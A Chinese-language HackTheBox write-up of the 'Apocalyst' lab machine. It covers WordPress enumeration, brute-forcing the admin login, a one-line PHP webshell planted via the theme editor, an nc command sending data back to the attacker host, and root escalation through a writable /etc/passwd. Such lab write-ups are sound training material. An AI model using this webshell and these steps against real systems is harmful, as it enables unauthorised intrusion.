Apocalyst Writeup

后续将不会把自己之前攻略过每个 Box 的解题过程都写一遍(还有好几十个呢),会选择性挑选一些有代表性的、能扩展思路并且贴合实战的来分享。毕竟,已解的130+多个Box撰写到公众号,一是码字排版速度慢,二是跟不上HTB每周出一个新Box的解题速度…

概述 (Overview)

83947511.png|500

HOST: 10.10.10.46

OS: LINUX

发布时间: 2017-08-19

完成时间: 2021-09-18

机器作者: Dosk3n

困难程度: MEDIUM

机器状态: 退休

MACHINE TAGS: #Wordpress #Arbitrary_File_Write #Cewl

攻击链 (Kiillchain)

通过 Nmap 识别目标服务器开放端口,浏览器查看Web服务知悉部署服务为 WordPress,使用该服务特定的扫描工具 wpscan 进行枚举发现后台登录账号用户名。使用 Cewl 抓取网站内容生成密码字典,随后进行登录枚举,成功进入应用后台。使用后台的主题编辑功能写入WebShell,成功拿到目标服务器的立足点。最后,使用滥用的文件权限操作成功完成权限提升。

枚举(Enumeration)

老样子,使用 Nmap 对目标服务器开放端口进行枚举:

PORT STATE SERVICE 22/tcp open ssh | ssh-hostkey: | 2048 fd:ab:0f:c9:22:d5:f4:8f:7a:0a:29:11:b4:04:da:c9 (RSA) | 256 76:92:39:0a:57:bd:f0:03:26:78:c7:db:1a:66:a5:bc (ECDSA) |_ 256 12:12:cf:f1:7f:be:43:1f:d5:e6:6d:90:84:25:c8:bd (ED25519) 80/tcp open http |_http-generator: WordPress 4.8 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Apocalypse Preparation Blog

可以看到暴漏的端口仅有两个,且从 http-generator 中可以得到 Web 服务的指纹信息,说明这又是一道 Web Box。

Port 80 - WordPress

46b9a431d9ef0426356969ea29e06bb1.png

通过查看页面源代码可以获知当前站点的虚拟主机域名为:apocalyst.htb,通过 hosts 绑定后访问发现站点并没有出现新的变化。

77381450.png|550

立足点(Foothold)

对于 WordPress 站点最高效的枚举工具则是 wpscan,专注于 WP 的安全扫描工具。默认的枚举信息受限,可以注册一个免费的账号获取 API Token,但是使用 CLI 工具每天能发出 75 个 API 请求。

$ wpscan --url http://10.10.10.46 -e "vt,tt,u,ap" --api-token <Token>
  • -e :这是一个复合参数用于自定义需要枚举的功能模块
    • vt:只枚举存在漏洞的主题
    • tt:列举缩略图相关的文件
    • u:枚举用户名,默认从1-10
    • ap:枚举所有插件,时间较长

随后通过长时间的枚举并没有得到具有 Vul 的信息,不过得到了站点的账户信息:

http://apocalyst.htb/?author=1 --> falaraki

尝试对站点目录进行枚举,看看有没有隐藏什么关键信息。

$ gobuster dir -u http://apocalyst.htb -w /home/kali/tools/DictionaryTools/IntruderPayloads/Repositories/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -k -f -t 30

这里有个问题,就是使用 gobuster 进行枚举时,返回的 Size 值一直在固定的区间(可能是我当时没加 -r 参数导致),对结果的判断不够明显,改为使用 dirsearch 进行扫描:

f0c7fccbd6ee96dfd9e6b00042f5791c.png

可惜依然没有有效的信息,一度认为是 Box 有问题重启了两次。子域名也扫过了,没有新的信息只能去官方论坛里去找信息。看到有人提示 cewl 工具,难道又是这种无脑题(有些CTF题会用这种无脑的方式,将密码进行隐藏。就很那是什么…SB)?尝试一下

$ cewl apocalyst.htb -w apocalyst.htb.wordlist --with-numbers

将站点上单词、带数字的单词等做成字典,使用 dirsearch 工具再次进行扫描得到一个新的目录:

85dd52af6c6782c21e2a2de5ec1625bc.png

访问这个目录看到一张图片,它有一个很奇怪的注释信息 needle。

6eb5af6a55cbcb11c6af1cb0defe7634.png

图片下载至本地使用 exiftool、binwalk 分析后均没发现什么异常,根据CTF图片隐写相关进行搜索发现 steghide 工具,使用它对图片进行信息查看时发现存在隐藏内容:

500

使用 steghide 对文件内容进行提取,密码是空的能直接得到文件:

steghide extract -sf image.jpg Enter passphrase: <---空密码 wrote extracted data to "list.txt".

ee5f6935e14e485de5090c74c718776a.png

使用得到的新文件进行各种登录碰撞,先进行的 SSH 爆破失败,转而使用 wpscan 爆破 falaraki 用户的登录:

$ wpscan --url http://apocalyst.htb --usernames falaraki --passwords list.txt ...snip... [!] Valid Combinations Found: | Username: falaraki, Password: Transclisiation ...snip...

接下来就比较简单了,使用这个密码成功进入 wp 的管理后台,找到主题编辑功能写入自定义的 PHP WebShell:

46d7e62cf56ec434a1f2753e40005c87.png

0ed131d0cc6d517ff74df4ecef88ebbc.png
再次编辑,保存一句话脚本:

<?php system($_REQUEST[cmd]); ?>

验证脚本被正确执行,使用它进行反弹 shell 拿到目标服务器的立足点。

b7eeb811ab1a1b939fd193cb5dd1d74e.png

权限提升(Privilege Escalation)

首先查看 /var/www/html/apocalyst.htb/wp-config.php 文件,尝试密码复用碰撞失败:

/** The name of the database for WordPress */
define('DB_NAME', 'wp_myblog');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'Th3SoopaD00paPa5S!');
/** MySQL hostname */
define('DB_HOST', 'localhost');
/** Database Charset to use in creating database tables. */                                                                                                 
define('DB_CHARSET', 'utf8');
/** The Database Collate type. Don't change this if in doubt. */                                                                                            
define('DB_COLLATE', ''); 

进而查询 mysq 中的用户表,发现里面只有一个 falaraki。在没有取得更大信息收获的情况下,将 linpeas 脚本传递至目标服务器,运行脚本进一步深度收集信息,随后将执行结果通过 NC 传递回 kali:

接收方-->>>>> kali@$ nc -l -p 9901 >./linpeas.txt 发送方-->>>>> nc -w 5 10.10.17.64 9901 < ./linpeas.txt

从分析的结果中发现 /etc/passwd 存在 0666 权限:

37d2c46680726c2127d0b3cd795adaea.png

54d8313c432b39bb2b13f945c86ffde1.png

至此,提权方式就很简单了,我们只需要自定义 root 用户的密码就能完成权限提升。这种方式在之前的 Bank 靶机中见 IPPSEC 用过,并在 Teacher 靶机中也有利用。

可见: Bank-Writeup | 0x584A的个人博客Teacher-Writeup | 0x584A的个人博客

使用 openssl 生成一个自定义的密码哈希,将它写入到 /etc/passwd 文件中:

8cafc80a42b1c901706d9ad1eaf466e1.png

最后只需要进行外部的 ssh 登录就行了:

$ ssh root@10.10.10.46 root@10.10.10.46's password: Permission denied, please try again.

f6e0c0313ccc570106916fe1115cb219.png

参考


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。